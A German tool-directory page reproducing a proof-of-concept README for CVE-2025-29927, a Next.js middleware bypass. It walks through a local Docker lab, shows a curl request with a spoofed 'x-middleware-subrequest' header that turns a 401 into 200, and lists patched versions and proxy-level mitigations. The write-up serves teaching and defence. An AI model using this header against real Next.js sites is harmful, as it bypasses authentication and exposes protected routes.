Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/danielhallbro/cve-2025-29927-nextjs-bypass-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & Bildung
GitHubdanielhallbro/cve-2025-29927-nextjs-bypass-poc

CVE-2025-29927-Nextjs-Bypass-PoC

Ein Proof-of-Concept für CVE-2025-29927, der einen Middleware-Bypass in Next.js-Versionen vor 13.5.9 demonstriert.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

PoC: CVE-2025-29927 - Next.js Middleware-Bypass

Dieses Repository enthält einen Proof of Concept (PoC), der demonstriert, wie man durch Ausnutzung einer Schwachstelle im Zusammenhang mit internen HTTP-Headern die Middleware-Sicherheitsprüfungen in Next.js (v13.5.6) umgehen kann.

Schwachstellenübersicht: CVE-2025-29927

Was ist das?

CVE-2025-29927 ist eine Middleware-Bypass-Schwachstelle, die in Next.js-Versionen 1.11.4 und vor den Versionen 12.3.5, 13.5.9, 14.2.25 und 15.2.3 gefunden wurde. Sie erlaubt es einem externen Angreifer, Sicherheitslogik – wie Authentifizierung, Bot-Erkennung oder Geolokalisierungsweiterleitungen – zu überspringen, die ein Entwickler in seiner middleware.ts-Datei implementiert hat.

Die Grundursache: Vertrauen in Header

Next.js verwendet interne HTTP-Header, um zwischen seinen verschiedenen Architekturebenen zu kommunizieren. Einer dieser Header ist x-middleware-subrequest.

Die Schwachstelle besteht, weil anfällige Versionen von Next.js diesem Header auch dann vertrauen, wenn er von einem externen Client (wie einem Browser oder curl) gesendet wird. Wenn der Server diesen Header sieht, nimmt er an, dass die Anfrage bereits von der Middleware verarbeitet und "freigegeben" wurde, und überspringt die Ausführung Ihres Sicherheitscodes vollständig.

Auswirkungen

  • Authentifizierungs-Bypass: Wenn Ihre App auf Middleware angewiesen ist, um Anmelde-Token zu überprüfen, kann ein Angreifer diese Prüfung umgehen, um geschützte Seiten zu erreichen.
  • Umgehung von Sicherheitsfiltern: Jegliche Logik, die bösartige IPs oder User-Agents blockieren soll, wird ignoriert.
  • Informationsoffenlegung: Zugriff auf interne Routen, die eingeschränkt sein sollten.

Umgebungseinrichtung

Das Labor läuft in einem Node:18-alpine-Docker-Container, um eine saubere und reproduzierbare Umgebung zu gewährleisten


Schritt 1 – Container erstellen

Wir starten, indem wir einen benannten Container im Hintergrund hochfahren. Wir verwenden sleep infinity, um den Container während der Konfiguration am Leben zu halten.

Anfangs hatte ich einige Probleme beim Neustarten meines Containers in späteren Phasen, deshalb habe ich mich für sleep infinity entschieden.

root@kitploit:~
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Schritt 1

Schritt 2 – Next.js 13.5.6 installieren

Wir installieren die spezifische anfällige Version von Next.js. Beachten Sie, dass das Framework trotz des Flags --src-dir false ein src-Verzeichnis erstellt, in dem wir unsere Middleware platzieren müssen, damit sie aktiv wird.

root@kitploit:~
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Schritt 2.1
Schritt 2.2

Schritt 3 – Den "Gatekeeper" (Middleware) erstellen

Um eine Sicherheitsbarriere zu simulieren, erstellen wir eine middleware.ts-Datei. Diese Middleware ist so konfiguriert, dass sie alle eingehenden Anfragen mit einem 401 Unauthorized-Status blockiert.

root@kitploit:~
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh

# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Schritt 3

Schritt 4 – Server starten

Starten Sie den Entwicklungsserver und warten Sie auf das ✓ Bereit-Signal in der Konsole.

root@kitploit:~
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Schritt 4

Schritt 5 – Verifikation & Exploitation

Öffnen Sie ein neues Terminalfenster (schließen Sie das vorherige Terminal nicht) auf Ihrem Host-Rechner, um die Umgebung mit curl zu testen.

1. Normale Anfrage (blockiert)

Eine Standardanfrage ohne modifizierte Header wird korrekt von unserer Middleware erfasst und blockiert.

root@kitploit:~
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized

2. Bypass mittels CVE-2025-29927 (Exploitation)

Durch Injizieren des internen Headers x-middleware-subrequest: src/middleware täuschen wir Next.js vor, dass die Anfrage bereits von einem internen Prozess verifiziert wurde. Der Server überspringt die Middleware-Ausführung und gewährt vollen Zugriff.

root@kitploit:~
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Schritt 5

Gegenmaßnahmen

Um Ihre Anwendung gegen CVE-2025-29927 zu schützen, sollten Sie Next.js auf die gepatchte Version aktualisieren, die Ihrer aktuellen Hauptversion entspricht:

1. Empfohlene Aktualisierungen

Die Schwachstelle ist in den folgenden Versionen behoben. Stellen Sie sicher, dass Ihre package.json mindestens diese Versionen enthält:

  • Next.js 15: Aktualisieren Sie auf 15.2.3 oder neuer.
  • Next.js 14: Aktualisieren Sie auf 14.2.25 oder neuer.
  • Next.js 13: Aktualisieren Sie auf 13.5.9 oder neuer (Die in diesem PoC verwendete Version).
  • Next.js 12: Aktualisieren Sie auf 12.3.5 oder neuer.
root@kitploit:~
# Example for updating to the latest patched version
npm install next@latest

2. Abwehr auf Infrastrukturebene

Wenn eine sofortige Aktualisierung nicht möglich ist, sollten Sie Ihre Web Application Firewall (WAF) oder Ihren Reverse Proxy (z. B. Nginx, Cloudflare oder Varnish) so konfigurieren, dass der Header x-middleware-subrequest von allen eingehenden externen Anfragen entfernt oder verworfen wird, bevor sie den Next.js-Anwendungsserver erreichen.

3. Überprüfung

Nach der Aktualisierung können Sie den Fix überprüfen, indem Sie den Exploit-Befehl aus Schritt 5 erneut ausführen. Ein gepatchter Server wird bei Vorhandensein des gefälschten Headers keinen 200 OK mehr gewähren.


Fazit

Diese Schwachstelle besteht, weil Next.js clientseitigen Headern vertraut, um interne Unteranfragen zu identifizieren. Um dies zu beheben, sollte Next.js auf eine Version aktualisiert werden, die diese internen Header aus externem eingehenden Traffic ordnungsgemäß validiert oder entfernt.

Haftungsausschluss: Dieser PoC dient nur zu Bildungszwecken.

Referenzen

  • NVD Official Entry: CVE-2025-29927 Detail - Bestätigt betroffene Versionen 13.5.1 bis 13.5.8 und den Fix in 13.5.9.
  • GitHub Security Advisory: GHSA-65p9-6799-7872 - Der ursprüngliche Hinweis zum Middleware-Bypass.
  • Next.js Security Releases: Next.js Blog - Offizielle Ankündigung der Sicherheitspatches.
Tool herunterladen